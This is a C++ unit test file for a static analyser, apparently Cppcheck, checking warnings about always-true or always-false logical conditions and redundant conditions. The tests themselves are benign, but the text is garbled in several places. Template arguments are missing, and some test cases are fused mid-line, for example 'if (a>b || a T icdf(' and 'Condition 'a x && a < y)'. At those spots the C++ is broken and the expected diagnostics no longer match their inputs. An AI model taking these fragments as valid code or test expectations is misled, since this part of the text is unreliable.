check(\"void f(int x) {\\n\"\n \" if (x < 3 && x > 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 3 || x < 10)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical disjunction always evaluates to true: x > 3 || x < 10. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x >= 3 || x <= 10)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical disjunction always evaluates to true: x >= 3 || x <= 10. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x >= 3 || x < 10)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical disjunction always evaluates to true: x >= 3 || x < 10. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 3 || x <= 10)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical disjunction always evaluates to true: x > 3 || x <= 10. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 3 || x < 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x >= 3 || x <= 3)\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical disjunction always evaluates to true: x >= 3 || x <= 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x >= 3 || x < 3)\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical disjunction always evaluates to true: x >= 3 || x < 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 3 || x <= 3)\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical disjunction always evaluates to true: x > 3 || x <= 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if((x==3) && (x!=4))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Redundant condition: The condition 'x != 4' is redundant since 'x == 3' is sufficient. [redundantCondition]\\n\", errout_str());\n\n check(\"void f(const std::string &s) {\\n\" // #8860\n \" const std::size_t p = s.find(\\\"42\\\");\\n\"\n \" const std::size_t * const ptr = &p;\\n\"\n \" if(p != std::string::npos && p == 0 && *ptr != 1){;}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:36] -> [test.cpp:4:49]: (style) Condition '*ptr!=1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x!=4) && (x==3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Redundant condition: The condition 'x != 4' is redundant since 'x == 3' is sufficient. [redundantCondition]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x==3) || (x!=4))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Redundant condition: The condition 'x == 3' is redundant since 'x != 4' is sufficient. [redundantCondition]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x!=4) || (x==3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Redundant condition: The condition 'x == 3' is redundant since 'x != 4' is sufficient. [redundantCondition]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x==3) && (x!=3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical conjunction always evaluates to false: x == 3 && x != 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x==6) || (x!=6))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical disjunction always evaluates to true: x == 6 || x != 6. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 10 || x < 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 5 && x == 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x > 5 && x == 1. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 5 && x == 6)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Redundant condition: The condition 'x > 5' is redundant since 'x == 6' is sufficient. [redundantCondition]\\n\", errout_str());\n\n // #3419\n check(\"void f() {\\n\"\n \" if ( &q != &a && &q != &b ) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3676\n check(\"void f(int m_x2, int w, int x) {\\n\"\n \" if (x + w - 1 > m_x2 || m_x2 < 0 )\\n\"\n \" m_x2 = x + w - 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(float x) {\\n\" // x+1 => x\n \" if (x <= 1.0e20 && x >= -1.0e20) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(float x) {\\n\" // x+1 => x\n \" if (x >= 1.0e20 && x <= 1.0e21) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(float x) {\\n\" // x+1 => x\n \" if (x <= -1.0e20 && x >= -1.0e21) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incorrectLogicOperator3() {\n check(\"void f(int x, bool& b) {\\n\"\n \" b = x > 5 && x == 1;\\n\"\n \" c = x < 1 && x == 3;\\n\"\n \" d = x >= 5 && x == 1;\\n\"\n \" e = x <= 1 && x == 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x > 5 && x == 1. [incorrectLogicOperator]\\n\"\n \"[test.cpp:3:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x == 3. [incorrectLogicOperator]\\n\"\n \"[test.cpp:4:16]: (warning) Logical conjunction always evaluates to false: x >= 5 && x == 1. [incorrectLogicOperator]\\n\"\n \"[test.cpp:5:16]: (warning) Logical conjunction always evaluates to false: x <= 1 && x == 3. [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void incorrectLogicOperator4() {\n check(\"#define ZERO 0\\n\"\n \"void f(int x) {\\n\"\n \" if (x && x != ZERO) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int N) {\\n\" // #9789\n \" T a[20] = { 0 };\\n\"\n \" for (int i = 0; i < N; ++i) {\\n\"\n \" if (0 < a[i] && a[i] < 1) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incorrectLogicOperator5() { // complex expressions\n check(\"void f(int x) {\\n\"\n \" if (x+3 > 2 || x+3 < 10) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical disjunction always evaluates to true: x+3 > 2 || x+3 < 10. [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void incorrectLogicOperator6() { // char literals\n check(\"void f(char x) {\\n\"\n \" if (x == '1' || x == '2') {}\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char x) {\\n\"\n \" if (x == '1' && x == '2') {}\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical conjunction always evaluates to false: x == '1' && x == '2'. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"int f(char c) {\\n\"\n \" return (c >= 'a' && c <= 'z');\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(char c) {\\n\"\n \" return (c <= 'a' && c >= 'z');\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:20]: (warning, inconclusive) Logical conjunction always evaluates to false: c <= 'a' && c >= 'z'. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"int f(char c) {\\n\"\n \" return (c <= 'a' && c >= 'z');\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:2:25]: (style) Return value 'c>='z'' is always false [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void incorrectLogicOperator7() { // opposite expressions\n check(\"void f(int i) {\\n\"\n \" if (i || !i) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (warning) Logical disjunction always evaluates to true: i || !(i). [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if (a>b || a<=b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Logical disjunction always evaluates to true: a > b || a <= b. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if (a>b || a T icdf( const T uniform ) {\\n\"\n \" if ((0 -1.0 - 1.0e-12))\\n\"\n \" return;\\n\"\n \" else\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incorrectLogicOperator8() { // opposite expressions\n check(\"void f(int i) {\\n\"\n \" if (!(i!=10) && !(i!=20)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical conjunction always evaluates to false: !(i != 10) && !(i != 20). [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void incorrectLogicOperator9() { // #6069 \"False positive incorrectLogicOperator due to dynamic_cast\"\n check(\"class MyType;\\n\"\n \"class OtherType;\\n\"\n \"void foo (OtherType* obj) {\\n\"\n \" assert((!obj) || dynamic_cast(obj));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incorrectLogicOperator10() { // #7794 - enum\n check(\"typedef enum { A, B } Type_t;\\n\"\n \"void f(Type_t t) {\\n\"\n \" if ((t == A) && (t == B))\\n\"\n \" {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (warning) Logical conjunction always evaluates to false: t == 0 && t == 1. [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void incorrectLogicOperator11() {\n check(\"void foo(int i, const int n) { if ( i < n && i == n ) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:43]: (warning) Logical conjunction always evaluates to false: i < n && i == n. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void foo(int i, const int n) { if ( i > n && i == n ) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:43]: (warning) Logical conjunction always evaluates to false: i > n && i == n. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void foo(int i, const int n) { if ( i == n && i > n ) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:44]: (warning) Logical conjunction always evaluates to false: i == n && i > n. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void foo(int i, const int n) { if ( i == n && i < n ) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:44]: (warning) Logical conjunction always evaluates to false: i == n && i < n. [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void incorrectLogicOperator12() { // #8696\n check(\"struct A {\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void foo(A a, A b) {\\n\"\n \" A x = b;\\n\"\n \" A y = b;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:5:9] -> [test.cpp:6:9] -> [test.cpp:8:13]: (warning) Logical conjunction always evaluates to false: a > x && a < y. [incorrectLogicOperator]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void foo(A a, A b) {\\n\"\n \" A x = b;\\n\"\n \" A y = b;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(A a, A b) {\\n\"\n \" A x = b;\\n\"\n \" A y = b;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(A a, A b) {\\n\"\n \" const A x = b;\\n\"\n \" const A y = b;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:15] -> [test.cpp:3:15] -> [test.cpp:5:13]: (warning) Logical conjunction always evaluates to false: a > x && a < y. [incorrectLogicOperator]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void foo(A a) {\\n\"\n \" A x = a;\\n\"\n \" A y = a;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9]: (style) Condition 'a>x' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:8:18]: (style) Condition 'a x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9]: (style) Condition 'a>x' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(A a) {\\n\"\n \" A x = a;\\n\"\n \" A y = a;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) Condition 'a>x' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(A a) {\\n\"\n \" const A x = a;\\n\"\n \" const A y = a;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) Condition 'a>x' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:18]: (style) Condition 'a [test.cpp:3:18]: (warning) Logical conjunction always evaluates to false: v == 1 && x == 2. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f2(const int *v) {\\n\"\n \" const int *x=v;\\n\"\n \" if ((*v == 1) && (*x == 2)) {;}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:3:19]: (warning) Logical conjunction always evaluates to false: *(v) == 1 && *(x) == 2. [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void incorrectLogicOperator14() {\n check(\"static const std ::string h;\\n\"\n \"class i {\\n\"\n \"public:\\n\"\n \" struct j {\\n\"\n \" std ::string k;\\n\"\n \" std ::string l;\\n\"\n \" };\\n\"\n \" struct a {\\n\"\n \" enum { m = 1 };\\n\"\n \" };\\n\"\n \"} b;\\n\"\n \"namespace n {\\n\"\n \"class c;\\n\"\n \"}\\n\"\n \"struct o {\\n\"\n \" enum { p, d, q, r };\\n\"\n \" enum { e, f };\\n\"\n \"\\n\"\n \"public:\\n\"\n \" class j {\\n\"\n \" public:\\n\"\n \" class s {\\n\"\n \" std ::string a;\\n\"\n \" };\\n\"\n \" };\\n\"\n \"};\\n\"\n \"namespace n {\\n\"\n \"class b;\\n\"\n \"}\\n\"\n \"namespace aa {\\n\"\n \"class d {\\n\"\n \"public:\\n\"\n \" char t;\\n\"\n \" enum {} u;\\n\"\n \"};\\n\"\n \"} // namespace aa\\n\"\n \"namespace aa {\\n\"\n \"struct e {};\\n\"\n \"} // namespace aa\\n\"\n \"class a;\\n\"\n \"class w {\\n\"\n \"public:\\n\"\n \" enum { x };\\n\"\n \" struct {\\n\"\n \" } y;\\n\"\n \" std ::string z;\\n\"\n \"};\\n\"\n \"class ab {\\n\"\n \" friend class c;\\n\"\n \"\\n\"\n \"public:\\n\"\n \" class ac {\\n\"\n \" void e(const ac &v) const;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"class f;\\n\"\n \"class ad {\\n\"\n \" friend class e;\\n\"\n \" enum { e, ae, ag, ah, ai, aj, ak, a, b };\\n\"\n \" class c {};\\n\"\n \" class d {\\n\"\n \" enum am { f, an, ao, ap, aq, ar, b, as, at, c, au };\\n\"\n \" enum av { aw, ax, ay, az, e, ba, bb, bc, bd, a };\\n\"\n \" struct b {\\n\"\n \" am action;\\n\"\n \" av c;\\n\"\n \" };\\n\"\n \" };\\n\"\n \" class e {\\n\"\n \" public:\\n\"\n \" std ::string e;\\n\"\n \" class f {\\n\"\n \" } f;\\n\"\n \" class be {\\n\"\n \" public:\\n\"\n \" };\\n\"\n \" std ::vector bf;\\n\"\n \" enum { bg, b } c;\\n\"\n \" };\\n\"\n \" struct bh {\\n\"\n \" std ::map b;\\n\"\n \" };\\n\"\n \" std ::map bi;\\n\"\n \" struct {\\n\"\n \" int b;\\n\"\n \" char bj;\\n\"\n \" } bk;\\n\"\n \" class a {\\n\"\n \" public:\\n\"\n \" std ::set b;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"class bl;\\n\"\n \"class al;\\n\"\n \"class bm;\\n\"\n \"class f;\\n\"\n \"class b;\\n\"\n \"class bn;\\n\"\n \"namespace bo {\\n\"\n \"class bp {\\n\"\n \"public:\\n\"\n \" typedef std ::pair bq;\\n\"\n \" typedef std ::list br;\\n\"\n \"};\\n\"\n \"const bo ::bp *dg(const f *a, const al *b);\\n\"\n \"} // namespace bo\\n\"\n \"const bn *dh(const f *d, bo ::bp ::br &bs);\\n\"\n \"class f {\\n\"\n \"public:\\n\"\n \" struct bt {};\\n\"\n \" std ::vector f;\\n\"\n \"};\\n\"\n \"class bu;\\n\"\n \"class a;\\n\"\n \"class c;\\n\"\n \"struct bv {};\\n\"\n \"class af {\\n\"\n \"private:\\n\"\n \"public:\\n\"\n \" enum { b, d, e, f, c, bw };\\n\"\n \" void a(int c);\\n\"\n \" af *bx() const;\\n\"\n \"};\\n\"\n \"namespace by {\\n\"\n \"class b;\\n\"\n \"}\\n\"\n \"class b {\\n\"\n \"public:\\n\"\n \" bool d, c;\\n\"\n \"};\\n\"\n \"class bz;\\n\"\n \"class f;\\n\"\n \"class ca {\\n\"\n \" friend class b;\\n\"\n \"\\n\"\n \"public:\\n\"\n \" const bm *cb() const { return cc; }\\n\"\n \" f *d(f *e, bool f) const;\\n\"\n \" int e() { return ++cd; }\\n\"\n \" bl *const c;\\n\"\n \" bm *cc;\\n\"\n \" std ::map ce;\\n\"\n \" int cd;\\n\"\n \" bz *a;\\n\"\n \"};\\n\"\n \"namespace n {\\n\"\n \"class c;\\n\"\n \"class d;\\n\"\n \"} // namespace n\\n\"\n \"class cf {\\n\"\n \"public:\\n\"\n \" explicit cf(const std ::string &aname);\\n\"\n \" cf(const std ::string &aname, const ca *cg, const al *ch, bl *ci)\\n\"\n \" : cj(cg), ck(ch), cl(ci), cn(aname) {}\\n\"\n \"\\n\"\n \"protected:\\n\"\n \" const ca *const cj;\\n\"\n \" const al *const ck;\\n\"\n \" bl *const cl;\\n\"\n \" const std ::string cn;\\n\"\n \"};\\n\"\n \"class cm : public cf {\\n\"\n \"public:\\n\"\n \" void cp();\\n\"\n \" std ::string d() const;\\n\"\n \"};\\n\"\n \"struct co {\\n\"\n \" co();\\n\"\n \" const bu *a;\\n\"\n \" enum f {};\\n\"\n \" enum {\\n\"\n \" b = (1 << 0),\\n\"\n \" c = (1 << 1),\\n\"\n \" };\\n\"\n \" void d(bool e);\\n\"\n \"};\\n\"\n \"class bu {\\n\"\n \" friend class e;\\n\"\n \"\\n\"\n \"public:\\n\"\n \" struct f {};\\n\"\n \" enum { d, cr, cq, ct, cs, e, a, b, c, dd, cu, cv, cw, cx, cy, cz, da };\\n\"\n \" const f *db;\\n\"\n \" const af *dc;\\n\"\n \"} f{};\\n\"\n \"class bm {\\n\"\n \"public:\\n\"\n \" std ::list df;\\n\"\n \" std ::vector de;\\n\"\n \" mutable std ::set f;\\n\"\n \"};\\n\"\n \"void cm ::cp() {\\n\"\n \" const bm *a = cj->cb();\\n\"\n \" for (const bu *b : a->de)\\n\"\n \" for (af *c = b->dc->bx();;) {\\n\"\n \" af *d = c;\\n\"\n \" af *e = c;\\n\"\n \" bool f(d);\\n\"\n \" bool g(e);\\n\"\n \" if (f && g)\\n\"\n \" ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:200:11] -> [test.cpp:200:16]: (style) Condition 'g' is always true [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void incorrectLogicOperator15() {\n // 10022\n check(\"struct PipeRoute {\\n\"\n \" std::deque points;\\n\"\n \" std::deque estimates;\\n\"\n \"};\\n\"\n \"void CleanPipeRoutes(std::map& pipeRoutes) {\\n\"\n \" for (auto it = pipeRoutes.begin(); it != pipeRoutes.end(); ) {\\n\"\n \" PipeRoute* curRoute = it->second;\\n\"\n \" if (curRoute->points.empty() && curRoute->estimates.size() != 2)\\n\"\n \" {\\n\"\n \" delete curRoute;\\n\"\n \" it = pipeRoutes.erase(it);\\n\"\n \" }\\n\"\n \" else\\n\"\n \" {\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incorrectLogicOperator16() { // #10070\n check(\"void foo(void* p) {\\n\"\n \" if (!p || p == -1) { }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incorrectLogicOperator17() { // #12471\n check(\"struct R {\\n\"\n \" void set() { i = 1; }\\n\"\n \" int get() const { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"struct P {\\n\"\n \" void f();\\n\"\n \" R* r;\\n\"\n \"};\\n\"\n \"void P::f() {\\n\"\n \" int a = r->get();\\n\"\n \" r->set();\\n\"\n \" if (a == 0 && r->get()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void secondAlwaysTrueFalseWhenFirstTrueError() {\n check(\"void f(void) {\\n\" // #8892\n \" const char c[1] = { \\'x\\' }; \\n\"\n \" if(c[0] == \\'x\\'){;}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Condition 'c[0]=='x'' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 5 && x != 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Redundant condition: The condition 'x != 1' is redundant since 'x > 5' is sufficient. [redundantCondition]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 5 && x != 6)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x > 5) && (x != 1))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Redundant condition: The condition 'x != 1' is redundant since 'x > 5' is sufficient. [redundantCondition]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x > 5) && (x != 6))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, bool& b) {\\n\"\n \" b = x > 3 || x == 4;\\n\"\n \" c = x < 5 || x == 4;\\n\"\n \" d = x >= 3 || x == 4;\\n\"\n \" e = x <= 5 || x == 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Redundant condition: The condition 'x == 4' is redundant since 'x > 3' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:3:15]: (style) Redundant condition: The condition 'x == 4' is redundant since 'x < 5' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:4:16]: (style) Redundant condition: The condition 'x == 4' is redundant since 'x >= 3' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:5:16]: (style) Redundant condition: The condition 'x == 4' is redundant since 'x <= 5' is sufficient. [redundantCondition]\\n\",\n errout_str());\n\n check(\"void f(int x, bool& b) {\\n\"\n \" b = x > 5 || x != 1;\\n\"\n \" c = x < 1 || x != 3;\\n\"\n \" d = x >= 5 || x != 1;\\n\"\n \" e = x <= 1 || x != 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Redundant condition: The condition 'x > 5' is redundant since 'x != 1' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:3:15]: (style) Redundant condition: The condition 'x < 1' is redundant since 'x != 3' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:4:16]: (style) Redundant condition: The condition 'x >= 5' is redundant since 'x != 1' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:5:16]: (style) Redundant condition: The condition 'x <= 1' is redundant since 'x != 3' is sufficient. [redundantCondition]\\n\",\n errout_str());\n\n check(\"void f(int x, bool& b) {\\n\"\n \" b = x > 6 && x > 5;\\n\"\n \" c = x > 5 || x > 6;\\n\"\n \" d = x < 6 && x < 5;\\n\"\n \" e = x < 5 || x < 6;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Redundant condition: The condition 'x > 5' is redundant since 'x > 6' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:3:15]: (style) Redundant condition: The condition 'x > 6' is redundant since 'x > 5' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:4:15]: (style) Redundant condition: The condition 'x < 6' is redundant since 'x < 5' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:5:15]: (style) Redundant condition: The condition 'x < 5' is redundant since 'x < 6' is sufficient. [redundantCondition]\\n\",\n errout_str());\n\n check(\"void f(double x, bool& b) {\\n\"\n \" b = x > 6.5 && x > 5.5;\\n\"\n \" c = x > 5.5 || x > 6.5;\\n\"\n \" d = x < 6.5 && x < 5.5;\\n\"\n \" e = x < 5.5 || x < 6.5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Redundant condition: The condition 'x > 5.5' is redundant since 'x > 6.5' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:3:17]: (style) Redundant condition: The condition 'x > 6.5' is redundant since 'x > 5.5' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:4:17]: (style) Redundant condition: The condition 'x < 6.5' is redundant since 'x < 5.5' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:5:17]: (style) Redundant condition: The condition 'x < 5.5' is redundant since 'x < 6.5' is sufficient. [redundantCondition]\\n\",\n errout_str());\n\n check(\"void f(const char *p) {\\n\" // #10320\n \" if (!p || !*p || *p != 'x') {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Redundant condition: The condition '!*p' is redundant since '*p != 'x'' is sufficient. [redundantCondition]\\n\",\n errout_str());\n }\n\n void incorrectLogicOp_condSwapping() {\n check(\"void f(int x) {\\n\"\n \" if (x < 1 && x > 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (1 > x && x > 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 1 && 3 < x)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (1 > x && 3 < x)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 3 && x < 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x > 3 && x < 1. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (3 < x && x < 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x > 3 && x < 1. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 3 && 1 > x)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x > 3 && x < 1. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (3 < x && 1 > x)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x 